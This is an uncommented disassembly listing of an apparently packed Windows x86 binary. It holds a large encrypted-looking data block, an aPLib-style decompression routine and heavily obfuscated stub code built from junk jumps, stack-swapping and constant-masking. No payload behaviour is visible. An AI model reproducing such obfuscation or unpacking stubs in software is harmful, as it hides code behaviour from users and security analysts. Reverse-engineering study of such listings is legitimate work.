0BDD74EA1h dd 553BD2EFh, 58A71BBDh, 87E1C4D7h, 66DB5C68h, 5936C751h dd 0ACFB75A5h, 9307DA57h, 0C8CAE7B2h, 0C78293BAh, 0D395F26Eh dd 0AEDDE987h, 0D02EAA12h, 551B4189h, 96322959h, 39F1FFEDh dd 0EA5942FCh, 1EE52647h, 8F075FF4h, 2D76956Dh, 0EC7E472Ah dd 43956194h, 6FFD6A34h, 94DC81EFh, 1B4B155Eh, 8EF4A844h dd 0F3726BBFh, 4718EE02h, 0AB1AA80Ah, 368F6AA4h, 57856C6h dd 62EAADD3h, 5900BF2Bh, 87198E9Eh, 0BB9BB054h, 7120EDA3h dd 516B9097h, 0D5AE422Fh, 2F5D17D7h, 9C2C5488h, 54DFF9Dh dd 0CC7A51F7h, 6B49DCC7h, 0A3E04B68h, 0F5F154B9h, 6DC76DE6h dd 78453351h, 0A9EF51AAh, 0EC1C9E2Dh, 341F0D17h, 305DF24Ah dd 20A58370h, 0A42111E1h, 23672EEEh, 0DB078267h, 4E34FF97h dd 0EDF6FD74h, 0C9DAA06Eh, 0F5F5EE90h, 2EAB0638h, 0E90AD78Fh dd 1AEE8DADh, 51C82FBDh, 0B291A82Eh, 4778ADBFh, 971FD232h dd 9622E41Dh, 0DCEDC4FDh, 8FB8079Ch, 0CC003815h, 0CA2372BFh dd 0A73058F5h, 50A8FBF0h, 0F2B68E42h, 0ADA35968h, 0AA31A63Bh dd 0B0EFB4BAh, 76A04E33h, 27B1FB76h, 0D8FAC057h, 0B31B5D73h dd 73B8BB67h, 0DF8A92D1h, 0BFD23723h, 12B862DDh, 0BE6C657Dh dd 0D6EB4C24h, 3F67B2A1h, 150A7BF4h, 7164835Fh, 0C74383EAh dd 8A62FBEDh, 9E51BA39h, 0DABEE1DFh, 8C71FE01h, 22B7346Fh dd 5C361F8Ah, 37E171F4h, 68448B2Ch, 5240AF90h, 0D7C97AE7h dd 0C2575463h, 0B8D711DCh, 9EEBDAC9h, 0B194D6F7h, 4DB3BAC8h dd 96C00BB6h, 0BA04B94Fh, 0F45D5891h, 3AE2BA85h, 0A43E2045h dd 0D14E021Ah, 0FFA84B23h, 1602EA8Ch, 91B792A5h, 4CC0F6E8h dd 0D1CEC2D2h, 97EA5EFFh, 0CA6DC5B3h, 0DA331466h, 8ACC6BEEh dd 77A9F98Ah, 817646BEh, 0AB15A501h, 55F2F9AAh, 0B675E8D6h dd 0D83A8937h, 0EAB46A1Ah, 0F70CE458h, 0FF50580Ch, 93FD1E67h dd 4C1EFA14h, 0A6FA3F74h, 0BBB38AADh, 0B7CE7DF8h, 163B0662h dd 1C2E5368h, 7E1B5AA9h, 0B62D3C66h, 0E59622AAh, 0E59F72EDh dd 0F0EB632h, 910FC5E6h, 700EF602h, 0DDC368DDh, 8B0C4D7Fh dd 3A91DC68h, 6AB64977h, 0A354D84Eh, 0DF014810h, 506D37E8h dd 0DCF7D0C0h, 0E55A51B3h, 0B3050C48h, 66B91AEBh, 2B89F5F8h dd 3E0872FFh, 262974ADh, 0BE48AD2Fh, 0D9233BA9h, 0C2E2A19Ah dd 4EEA370h, 0BFCBAC4Bh, 296C90E2h, 604AFA3Bh, 0F76E8ED2h dd 292D0EC9h, 87F102F8h, 0FFDDA1ECh, 0D395C0A6h, 0E702A14Ah dd 821F6AF5h, 0C9B1BD7Dh, 8B201EE3h, 0C1219D7Fh, 0EB84C77Fh dd 0B74BA1E5h, 0F0C3AEAFh, 1E9848A1h, 80E5C2F6h, 3A20DFE4h dd 0B4AC2272h, 21344D20h, 0E34695F9h, 4F682A4Ah, 0BA5BB960h dd 0C72BC18Ch, 0D502C9E6h, 6F92D70Dh, 0ECE95A33h, 0B1486FE5h dd 0D4C5287Fh, 5DB590BFh, 230586A3h, 45BEEAB1h, 0BCB505A5h dd 0A9BA27B6h, 33F0357Fh, 0B8D3EA7Fh, 5523D83Eh, 5501D7CBh dd 81442455h, 0F3291C06h, 0B3A139B0h, 0FA235677h, 0AA8A7C06h dd 0BF4815A3h, 0C98D5855h, 0B0796760h, 88A466C1h, 77285FE5h dd 589CEBCh, 0A061E981h, 0D57656A5h, 0CBEB53E7h, 0ABB465AFh dd 55B26CEAh, 0B1555C88h, 0B5E952B7h, 89DF5640h, 0EBCBCCBAh dd 0B7D2960Dh, 0C2FB58DCh, 1A3A3597h, 6B81F34Ah, 6ED0A559h dd 0EEEDDF30h, 0F3BE0F22h, 32D1A9ECh, 89F2CDFBh, 0DC8CBA18h dd 0CC0FDE47h, 40C11E85h, 0F780D7C9h, 91566851h, 0AECF45A0h dd 0E4E76FA7h, 0B088BF66h, 0E181EBD6h, 6FFC5D32h, 5C7C63E7h dd 4F98554h, 39807B61h, 768AB57Bh, 4A8F079Dh, 1F5088ACh dd 653CFE12h, 0FC0AF6B3h, 39C638EFh, 0F5B278E6h, 9197562Ch dd 4B42A902h, 9EDE22AFh, 1462EA22h, 0E3D1342Dh, 0AF53751Dh dd 0B8D031AEh, 0F5C229ACh, 9ADCC285h, 450B168Dh, 0B9CCE730h dd 3DB8CE6Ah, 3675044h, 845E374Bh, 0A75DBC36h, 0BA57754Ah dd 0D1FDCCC5h, 0B055AC0Fh, 8BA52BD8h, 0CC542B23h, 72EF1F9Ch dd 207174F0h, 2C83C815h, 0D6269F73h, 5384E4h, 91DB3A3h dd 3BE309F4h, 0A1F8E85h, 2A09368Fh, 0B4D524A2h, 6B97BF97h dd 0F844A0BFh, 0AD401829h, 0A05249AAh, 0D08A8143h, 0E5CF2CEAh dd 4B3AFA9Bh, 0CCF8B53h, 0B460E607h, 0A826FD6h, 56E4B5EAh dd 574474AAh, 0CEC0579Dh, 4D4AFF12h, 4B72AAA8h, 0AB7D7648h dd 0D8BFF3ABh, 80E99FC1h, 0B6811638h, 8D6EF3B4h, 99B3B6A3h dd 712E5C27h, 0F89132EAh, 0DEF6A331h, 8B14C5F5h, 1205F484h dd 6CA15015h, 0D5CA52FBh, 0E5AD16A7h, 0AF5B1F81h, 87E02DFFh dd 7415F279h, 30BE8FB5h, 3F18015h, 0CA55F5F7h, 4DE52D11h dd 0BA9053F2h, 0A7EA29A2h, 0BD1EA7EEh, 0B6A7096Bh, 9B57EA0Ah dd 0BD9960B0h, 0B80C324Fh, 0F6ED96C7h, 2E799F0Ch, 4EB54F9h dd 9A7A0A79h, 3B313F36h, 0FB991CFh, 81843BD3h, 0F4279A9Ch dd 5815F046h, 55F2BAE1h, 602A0AB6h, 326AD7F6h, 0C6492985h dd 5FC7FB0Bh, 0D49DAFEDh, 9736714Ah, 0C220FFE5h, 0B3798626h dd 15E0F722h, 3EB9DA8Bh, 47355F4Fh, 0F735B6F5h, 0FC6FA05Bh dd 0E88DB85Bh, 59BE48D8h, 0DF1AABE3h, 127BECB6h, 8B8EA6E7h dd 2A7C0F3Ah, 0DFC8F112h, 0FC8399DBh, 4AF83C0h, 761DB5DCh dd 555D4DB6h, 0A8BCC748h, 6A0495DDh, 16A5DF31h, 6B1DC150h dd 9EC7DB91h, 0BE92E7B2h, 93CDF346h, 0F5E8A57Dh, 915EE40Dh dd 44CEDA8Ch, 72F8A0E9h, 52F24A3Fh, 0A319E091h, 0E639CAB5h dd 0F56677C3h, 0DAA168F2h, 0F27F7D40h, 54E04FF7h, 7B79C0FCh dd 49149A21h, 0A0DBFADDh, 2BB0DA66h, 605D7BB4h, 3F106D51h dd 79BCBE6Eh, 0F0E2C04h, 3E7993E2h, 2676A156h, 8F546621h dd 0DF04DD65h, 792D9Fh dd 242D1BC5h, 7B9DB0D0h, 0D07DAE50h, 153B9317h, 539E14CAh dd 44F00AFDh, 0D3749CC4h, 0B6E7EEA4h, 783CF54Ah, 4BB6AECDh dd 49F4E75Ah, 2B7BCAEEh, 61DFB943h, 0C5353C1Ah, 0A7EB8D34h dd 0DD5196C3h, 0BCCB359Fh, 8DA45BAAh, 0A5C9EBD6h, 704D53CBh dd 0F0FA8A15h, 98AB4533h, 4A3065E2h, 0D8982FE1h, 555051B4h dd 5BE75ED2h, 6A7EAF9h, 0A575AB8Dh, 0E060B4A8h, 0D5BD9AA8h dd 309C5C72h, 0FE153367h, 1E073505h, 57C9E4DDh, 6595FCFFh dd 0AAF5F447h, 910C6621h, 1B5775E0h, 0FAE2A7F0h, 3A1B001Dh dd 0E3B207F9h, 0B1C021DEh, 0C09FE0A2h, 856DDC45h, 17DAFE5Dh dd 9AAE1DC5h, 57873CD6h, 7DE95859h, 0C308774Fh, 94D0A70Fh dd 688DA635h, 68FA4E26h, 0CEDF1794h, 0B607C374h, 0B498F6C8h dd 0D5A1EABEh, 0C546A3D1h, 0C1C94562h, 0DC08F291h, 0C597A356h dd 0FBAA2612h, 0F3DEFFh, 0ABAA2F25h, 5ED1A594h, 0E22F0D40h dd 9CC577E9h, 0DAE5C801h, 5BC4152Eh, 94E9AC0Eh, 6ED15702h dd 5E57F10Ah, 6AB9F0Eh, 6079DAFh, 2D41D04Ch, 0BBFB8103h dd 3FBBAE9h, 771705A4h, 0EECBBE45h, 99F70212h, 0EDB85021h dd 6755245Eh, 11DA8AB8h, 5D169AAFh, 61555BF4h, 0EF0E8138h dd 425649D2h, 0B7CB5E7Dh, 0EAF40A2Fh, 0A57E7A27h, 0B1E4B3h dd 0A1A7FF20h, 0BFCE9DCEh, 0DB8206F9h, 0D7059BD1h, 0A057E036h dd 51B13EBCh, 87578213h, 0AEACCA8Eh, 0AF0400ABh, 0D9FDDA0Ah dd 3FFC4097h, 48F3C595h, 8735C3B4h, 42E57D2Dh, 62FA4613h dd 8153FC0h, 84B6E37Eh, 0A1BAC9CDh, 0BCE6ACECh, 45F03E3Dh dd 675AF4EEh, 0C5062607h, 0D39BC3F1h, 168F4D30h, 9FE4A5E9h dd 5B76D017h, 46F13AA8h, 0A36CE058h, 0B8C2FE91h, 84E005A6h dd 92D157Bh, 21E6AE0Bh, 8D689E5h, 8070ECDAh, 8DDCEF45h dd 0AEC88A7h, 0CB361D75h, 0B575E34Bh, 46BA6E84h, 0AB010FFBh dd 0EC607BD7h, 5C8E4F16h, 4B9523F7h, 2BB2222Ah, 0DD572D77h dd 59A2CB60h, 7D1D7D96h, 6AE0A101h, 0E327205Dh, 0CFA4CED2h dd 722A49A6h, 9B28DDE8h, 0A599D8E2h, 6C654AE1h, 9846D533h dd 30864E6Fh, 0E15EF7B0h, 0F3FE0927h, 0FBD6F946h, 21F8EDEEh dd 6579C517h, 5ABB1DD9h, 9982F31Ah, 67D65B4Ch, 5F17C6B8h dd 6A70FAFh, 0D5F84DDBh, 907D6316h, 0BDE5D729h, 0A73512F2h dd 791BA11Ch, 88A47AEh, 3585D0Ch, 5B74EAC5h, 1166E44Ch dd 4BF67DBBh, 0A0B61998h, 0D8756D8Eh, 0E151B48Fh, 9C992CAEh dd 15B118A3h, 0B519D9B2h, 0FB392AAAh, 0C038B0B9h, 2EAF093Fh dd 5EE357C0h, 96EF4E35h, 0B0C156EFh, 9CFED52Bh, 7E454D3Bh dd 0E16275B5h, 86625D7h, 66B9C5A8h, 0EF2D008Eh, 0BCD380EBh dd 9BD3015Fh, 27CD2BEFh, 0C92D1F03h, 3C5A555h, 0AA514DFCh dd 0E7CDA8F1h, 0D05E4CFh, 82D58B22h, 0B44B6369h, 0AB4BDFAFh dd 0A86D6627h, 4EACE0C0h, 5A4A980Bh, 3BC24053h, 695D7232h dd 0C3664106h, 0F7A34B34h, 0B25D7AE5h, 3E892D6Fh, 2C3FF64h dd 6B5EDD53h, 0E7D345Ah, 0D58E0729h, 700AEBA3h, 49609467h dd 38D09C07h, 0F26B694h, 0AB365745h, 49EB66FCh, 0DB557B0Bh dd 0EF73A9A1h, 577BA0B4h, 47320F19h, 0B45783C7h, 84E07EE4h dd 76BB1CC2h, 0CBE59A2Ch, 63D49973h, 0EAC8FDF8h, 1E0F7730h dd 62A65CFCh, 6C3F2B9h, 8184E789h, 2A5DF88Dh, 0B3172AF2h dd 88E6B22Bh, 45E12AB9h, 0FA7C263Ch, 6981D5EFh, 3A8089F4h dd 0ED625758h, 0B117216Fh, 0DAE395F8h, 0B000AF04h, 1BB95825h dd 0F31A0CC8h, 7A9CC2BDh, 0D36A2726h, 0B0FACEB2h, 0FA55DFE2h dd 71DAC02Eh, 2F3CDF9Ah, 5E2F8F5Fh, 7F53C8F8h, 51F97D29h dd 0E0AAAF82h, 2DA89A43h, 0F1F47709h, 0CDFDDEE7h, 0C7EFA977h dd 1EF31F72h, 3A91FB60h, 0DB4079AEh, 54A66AEAh, 0C3965157h dd 0DA2117E6h, 545DF672h, 4F6DBD77h, 0C8ACD147h, 7C9F548h dd 75155FB7h, 0D3B57254h, 0DF2F1F38h, 0E7EDB210h, 0A54A0BCCh dd 0A9AABA39h, 0B7EE790Fh, 0C5775587h, 88DBA26Dh, 96B35664h dd 70DE4AA8h, 1116A7F4h, 0A0EB359Fh, 9A9D2E22h, 1F5CBD3Ah dd 0B6030D07h, 1338BAA5h, 0C697B754h, 0B537C481h, 0C4BFABDBh dd 85BACDCBh, 0FCAF1FDFh, 0CDB9DDB1h, 4DE6223Ch, 0BE44B66Eh dd 38B72DD9h, 0EF5A3A79h, 0FA07D9BFh, 2860FC76h, 2EF04833h dd 90F5AFEFh, 0C7D4EE6Fh, 0AB3B26CDh, 0F740EA1Fh, 8333EB5Fh dd 0D2EA56E6h, 0B39FC1B4h, 0F7BB8CEDh, 0C0AE1CC7h, 462AE05Fh dd 0A8F9A91Ch, 16AF4A7Ch, 822940E6h, 68F6E5FDh, 196A9F26h dd 0A2A1114h, 24128D19h, 0A6D1CCE6h, 8ABB68B8h, 7714F0CFh dd 73099DABh, 6E2FDF5Fh, 74AD4B47h, 674FEEA0h, 824E8B92h dd 0ED5EDD1Bh, 0DA35AB4Ah, 0AA055A9Eh, 3B179FCBh, 9AFE0731h dd 6D8A4AFAh, 3CE2AEA1h, 0BC0EBAECh, 0EADA7791h, 0D806B141h dd 80B8A781h, 0E19BE75Dh, 87E33797h, 3137EB77h, 267EE9DBh dd 0C715C720h, 0AF77258Ah, 710FC6F8h, 5F9A0E0Fh, 2A24B2D1h dd 43E8FA64h, 90CC2BE0h, 3A525662h, 0CCFD21E3h, 0A974415Eh dd 1BA5148Eh, 7EF2DF3Ah, 0B997F3DFh, 28D598F0h, 184F2CB4h dd 9917E3Eh, 0FFAD6F94h, 2F63501Eh, 14DB4AFEh, 6325FBA0h dd 0A11122C0h, 0BAA1233Ah, 81083F9h, 5557B319h, 74286D0Ch dd 5B025E9Bh, 0C7D86C73h, 0A039CFC7h, 0D26625FEh, 3FDBFD32h dd 0CAD187FBh, 0D0A059C9h, 985DD511h, 28474508h, 9F5D4B82h dd 198A966Fh, 0D5D6F0C5h, 284FC65Ch, 1B607CA7h, 57991818h dd 6D90DB46h, 8B3FE9E9h, 13AB7735h, 61B38BF1h, 0EE9FF345h dd 175CA8E5h, 0D399B077h, 3E1D7B03h, 0EE8C50EDh, 27CBFDBAh dd 76AE4C20h, 0BF3A792Dh, 0FD49383Ch, 6821A29Dh, 29A7C243h dd 37681B9h, 0D2C9DAADh, 0C559AAA7h, 0A04A0893h, 0CC35C522h dd 530F5D9Eh, 62EF8C6Dh, 866B548Dh, 80AD6DDFh, 83CE7799h dd 0DF6AE4B2h, 6F1576FAh, 0F01573EEh, 0C0B55FA0h, 0B1AD0FC0h dd 0EF57BDDBh, 7D543E73h, 0F782DD67h, 24A06395h, 3BC3104Ah dd 3F3818F9h, 0BEE0C6AAh, 0C19DDAF8h, 0C09BCDEAh, 0B77985D6h dd 0D1F71B1h, 81776351h, 76FCDD4h, 56B5D85h, 0F2898AFFh dd 9FF44E6Dh, 8BBAC355h, 0CCEBE854h, 0D96C98A4h, 7AEDC860h dd 7B7A398Ch, 0FA74BA88h, 856AD1E7h, 0FDE8360Ah, 0A0B9BCF1h dd 0C4238B46h, 8F0DDD53h, 3CE7C06Ah, 0EF9A9444h, 3CD31B34h dd 9BBB01C7h, 7B7C705Dh, 0E4636E78h, 0 dd 0AF77h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10026AF4 proc near ; DATA XREF: sub_100299B9+3Ao var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10026C73 SIZE 00000004 BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh cld push ebx push edi push esi mov [ebp+var_4], eax mov [ebp+var_8], edx mov esi, eax mov edi, edx cmp word ptr [esi], 434Ah jnz loc_10026C36 add esi, 0Ah mov [ebp+var_C], 8 xor ebx, ebx mov edx, 80000000h inc ebx loc_10026B25: ; CODE XREF: sub_10026AF4+46j ; sub_10026AF4+8Dj ... xor eax, eax call sub_10026C3D jnb short loc_10026B3C mov ecx, [ebp+var_10] call sub_10026C55 add al, [ebp+var_11] loc_10026B39: ; CODE XREF: sub_10026AF4+65j stosb jmp short loc_10026B25 ; --------------------------------------------------------------------------- loc_10026B3C: ; CODE XREF: sub_10026AF4+38j call sub_10026C3D jb loc_10026BDE call sub_10026C3D jnb short loc_10026BA9 mov ecx, 4 call sub_10026C55 dec eax jz short loc_10026B39 jns loc_10026C28 call sub_10026C3D jnb short loc_10026B83 push ebp loc_10026B69: ; CODE XREF: sub_10026AF4+8Aj mov ebp, 100h loc_10026B6E: ; CODE XREF: sub_10026AF4+83j call sub_10026C4A mov [edi], al inc edi dec ebp jnz short loc_10026B6E call sub_10026C3D jb short loc_10026B69 pop ebp jmp short loc_10026B25 ; --------------------------------------------------------------------------- loc_10026B83: ; CODE XREF: sub_10026AF4+72j mov ecx, 1 call sub_10026C55 add eax, 7 mov [ebp+var_10], eax mov [ebp+var_11], 0 cmp eax, 8 jz short loc_10026B25 call sub_10026C4A mov [ebp+var_11], al jmp loc_10026B25 ; --------------------------------------------------------------------------- loc_10026BA9: ; CODE XREF: sub_10026AF4+58j mov ecx, 7 call sub_10026C55 push eax mov ecx, 2 call sub_10026C55 mov ecx, eax inc ecx inc ecx pop eax or eax, eax jz short loc_10026BCB mov ebx, eax jmp short loc_10026C29 ; --------------------------------------------------------------------------- loc_10026BCB: ; CODE XREF: sub_10026AF4+D1j cmp ecx, 2 jz short loc_10026C36 inc ecx call sub_10026C55 mov [ebp+var_C], eax jmp loc_10026B25 ; --------------------------------------------------------------------------- loc_10026BDE: ; CODE XREF: sub_10026AF4+4Dj call sub_10026C61 dec ecx loop loc_10026BEF mov eax, ebx call sub_10026C61 jmp short loc_10026C29 ; --------------------------------------------------------------------------- loc_10026BEF: ; CODE XREF: sub_10026AF4+F0j dec ecx mov eax, ecx push ebp mov ecx, [ebp+var_C] mov ebp, eax xor eax, eax shl ebp, cl call sub_10026C55 or eax, ebp pop ebp mov ebx, eax call sub_10026C61 cmp eax, 10000h jnb short loc_10026C26 cmp eax, 37FFh jnb short loc_10026C27 cmp eax, 27Fh jnb short loc_10026C28 cmp eax, 7Fh ja short loc_10026C29 inc ecx loc_10026C26: ; CODE XREF: sub_10026AF4+11Cj inc ecx loc_10026C27: ; CODE XREF: sub_10026AF4+123j inc ecx loc_10026C28: ; CODE XREF: sub_10026AF4+67j ; sub_10026AF4+12Aj inc ecx loc_10026C29: ; CODE XREF: sub_10026AF4+D5j ; sub_10026AF4+F9j ... push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_10026B25 ; --------------------------------------------------------------------------- loc_10026C36: ; CODE XREF: sub_10026AF4+19j ; sub_10026AF4+DAj mov eax, esi pop esi pop edi pop ebx jmp short loc_10026C73 sub_10026AF4 endp ; =============== S U B R O U T I N E ======================================= sub_10026C3D proc near ; CODE XREF: sub_10026AF4+33p ; sub_10026AF4:loc_10026B3Cp ... add edx, edx jnz short locret_10026C49 mov edx, [esi] add esi, 4 stc adc edx, edx locret_10026C49: ; CODE XREF: sub_10026C3D+2j retn sub_10026C3D endp ; =============== S U B R O U T I N E ======================================= sub_10026C4A proc near ; CODE XREF: sub_10026AF4:loc_10026B6Ep ; sub_10026AF4+A8p mov ecx, 8 call sub_10026C55 retn sub_10026C4A endp ; =============== S U B R O U T I N E ======================================= sub_10026C55 proc near ; CODE XREF: sub_10026AF4+3Dp ; sub_10026AF4+5Fp ... xor eax, eax loc_10026C57: ; CODE XREF: sub_10026C55+9j call sub_10026C3D adc eax, eax loop loc_10026C57 retn sub_10026C55 endp ; =============== S U B R O U T I N E ======================================= sub_10026C61 proc near ; CODE XREF: sub_10026AF4:loc_10026BDEp ; sub_10026AF4+F4p ... xor ecx, ecx inc ecx loc_10026C64: ; CODE XREF: sub_10026C61+Fj call sub_10026C3D adc ecx, ecx call sub_10026C3D jb short loc_10026C64 retn sub_10026C61 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10026AF4 loc_10026C73: ; CODE XREF: sub_10026AF4+147j mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10026AF4 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10026C78 proc near ; DATA XREF: sub_100299B3o ; sub_100299B9+29o mov byte ptr [ecx], 49h pop ecx push offset loc_100277B2 jmp nullsub_219 sub_10026C78 endp ; --------------------------------------------------------------------------- dw 8100h ; CODE XREF: _3a14gzkz:loc_100277BEj ; --------------------------------------------------------------------------- test byte ptr [ebp+34E16ACh], 0F5h push ebx push 7C647D8Fh jmp loc_100286D7 ; --------------------------------------------------------------------------- dw 0F00h dd 1A3D89h, 2A5FE800h, 0B8E90000h ; CODE XREF: sub_100279AD+1D12j db 12h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_10026CAB: ; CODE XREF: sub_10028DD4:loc_1002932Fj jz loc_10028082 push edi push offset sub_10029160 jmp nullsub_187 ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- dd 7C60000h, 68535F87h, 61C1C659h, 19E3815Bh, 68746B81h dd 1002821Ah, 2333E9h, 840F0000h, 105Fh, 2904E852h, 0 ; --------------------------------------------------------------------------- jmp loc_10028D24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029160 loc_10026CED: ; CODE XREF: sub_10029160:loc_10026DE1j call sub_10029789 loc_10026CF2: ; CODE XREF: sub_10028143+8j jmp loc_1002719E ; END OF FUNCTION CHUNK FOR sub_10029160 ; --------------------------------------------------------------------------- align 4 dd 5300C300h, 10EBE9h, 33FA8B00h, 940E9F5h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp loc_100276A1 ; --------------------------------------------------------------------------- loc_10026D12: ; CODE XREF: _3a14gzkz:10027FBBj jmp loc_10028063 ; --------------------------------------------------------------------------- align 4 dd 95840F00h, 87000001h, 15B241Ch, 0F28B56C2h, 0E9243487h dd 1517h, 0C6810000h, 2A042802h, 2434879Dh, 27BF068h, 0FFB3E910h dd 0C300FFFFh, 26AE9h, 87028700h, 515B241Ch, 0C87CA8Bh dd 0E95A5624h, 0E12h, 618CC6F7h, 4AE9CD7Ch, 1Bh, 1FA26800h dd 4875C9Ah, 58F88B24h, 0A767EF81h, 3FE96519h, 22h, 0F18B5600h dd 0E8243487h, 126Ah ; --------------------------------------------------------------------------- loc_10026D90: ; DATA XREF: sub_10028A75+2o push esi mov esi, ecx push offset loc_10026E89 jmp locret_10026E88 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; --------------------------------------------------------------------------- add ecx, 4E977A48h mov ecx, [ecx] pushf jmp loc_100285CA ; --------------------------------------------------------------------------- align 10h add esi, ebx xchg edi, [esp] xchg esi, [esp] mov edi, esi pop esi jmp loc_1002835B ; --------------------------------------------------------------------------- locret_10026DC0: ; CODE XREF: _3a14gzkz:loc_10026DE8j retn ; --------------------------------------------------------------------------- loc_10026DC1: ; CODE XREF: _3a14gzkz:loc_100275FBj ; DATA XREF: _3a14gzkz:loc_100275F1o jmp loc_100292C0 ; --------------------------------------------------------------------------- align 4 dd 1126E859h, 87000000h, 4872434h, 58F08B24h, 0FFFE9BE9h ; CODE XREF: _3a14gzkz:10028411j dd 0C30000FFh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029160 loc_10026DE1: ; CODE XREF: sub_10029160-62Dj jmp loc_10026CED ; END OF FUNCTION CHUNK FOR sub_10029160 ; --------------------------------------------------------------------------- align 4 loc_10026DE8: ; CODE XREF: _3a14gzkz:100275F6j jmp locret_10026DC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10026DED: ; CODE XREF: sub_1002812C:loc_100297ACj pop ebx xor ebx, 0C2256766h and ebx, 0A2C1F34Fh push offset dword_10029118 jmp loc_10027076 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD "+" TO EXPAND] align 4 jmp loc_1002974A ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0F43h, 9B56BF00h, 0C87A549h, 0D5035924h, 27AEA68h, 126EE910h dd 2AF60000h, 850FA43Ch, 10FAh, 0E4CE9h, 0E9000000h, 10EEh dd 0E90CC3C1h, 583h, 53580000h, 0EC0A2404h, 87F18B56h dd 0C1E92434h, 8B000016h, 4EB95100h, 0E910027Dh, 182Dh dd 0C28C0F00h, 0C1000010h, 9BE911CBh db 26h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10026E77: ; CODE XREF: sub_1002781D:loc_10028B99j mov edi, ebx xchg edi, [esp+0] mov ebx, offset word_10027BF6 jmp loc_100286D2 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 4 locret_10026E88: ; CODE XREF: _3a14gzkz:10026D98j retn ; --------------------------------------------------------------------------- loc_10026E89: ; DATA XREF: _3a14gzkz:10026D93o xchg esi, [esp] push offset loc_10027206 jmp locret_1002778E ; --------------------------------------------------------------------------- align 4 loc_10026E98: ; CODE XREF: _3a14gzkz:100288F2j mov byte ptr [edi], 0C3h xchg eax, [esp] mov edi, eax pop eax push offset byte_10026F21 jmp loc_10028C61 ; --------------------------------------------------------------------------- align 4 dword_10026EAC dd 85B8F081h, 0C5038613h, 0DD0AC081h, 0BBD79Eh, 0E9240487h ; DATA XREF: _3a14gzkz:10027894o dd 0FFFFFE84h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10026EC4: ; CODE XREF: sub_10028ED3-D3Ej mov ebx, edx pop edx rol ebx, 1Ah xor ebx, 17E37C67h jmp loc_10028D42 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- align 2 locret_10026ED6: ; CODE XREF: _3a14gzkz:10027132j retn ; --------------------------------------------------------------------------- align 4 loc_10026ED8: ; CODE XREF: _3a14gzkz:10028CF0j jmp loc_10027884 ; --------------------------------------------------------------------------- not ebp jmp sub_10027949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10026EE4: ; CODE XREF: sub_1002781D:loc_10027B6Cj add edx, 0B8CAA5B9h xor edx, 0AD3C42D8h add edx, 80C406D1h xchg edx, [esp+0] jmp loc_100270C8 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- dw 8100h dd 9F924AF7h, 0E8FDDA3Fh, 2089h, 1F1EE9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_10026F12: ; DATA XREF: sub_10027C41-2C5o push edx mov edx, ecx push offset dword_10029504 jmp locret_10027F7C ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD "+" TO EXPAND] byte_10026F21 db 81h, 0C0h, 5Ah ; DATA XREF: _3a14gzkz:10026EA1o dd 5099BC32h, 146CE857h, 0E9000000h, 1018h, 1C60000h, 24048787h ; CODE XREF: _3a14gzkz:10028A54j dd 8158C88Bh, 785129C2h, 767E947h, 0 ; --------------------------------------------------------------------------- loc_10026F4C: ; CODE XREF: _3a14gzkz:10028658j ror eax, 5 pushf loc_10026F50: ; CODE XREF: _3a14gzkz:100295BFj or eax, 80FA18D7h add eax, 0FFB1D71Bh add eax, ebp add eax, 0B526A0Ah jmp loc_100278F8 ; =============== S U B R O U T I N E ======================================= sub_10026F69 proc near ; CODE XREF: _3a14gzkz:100278CEp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100273E6 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] jmp loc_100273E6 sub_10026F69 endp ; sp-analysis failed ; --------------------------------------------------------------------------- call sub_10028EB5 jb loc_1002840B jg loc_1002844A jmp sub_10028A10 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_1002781D loc_10026F8C: ; CODE XREF: sub_1002781D:loc_100286D2j call sub_10027AC8 loc_10026F91: ; DATA XREF: _3a14gzkz:100291F4o push edx push 8C66F083h pop edx rol edx, 0Ch sub edx, 5D0A995h jmp loc_10027B6C ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- align 4 loc_10026FA8: ; CODE XREF: _3a14gzkz:10029036j ; DATA XREF: _3a14gzkz:loc_1002902Co mov byte ptr [edx], 8Bh pop edx popf xchg eax, [esp] call near ptr dword_10027D5C+1Ch ; --------------------------------------------------------------------------- db 0 db 0 db 51h ; Q db 68h ; h db 0C3h ; Ã db 74h ; t db 2 db 10h db 0E9h ; é db 0DDh ; Ý db 15h db 0 db 0 db 0 db 0F6h ; ö db 2Ah ; * db 0E8h ; è db 5Ah ; Z db 7 db 0 db 0 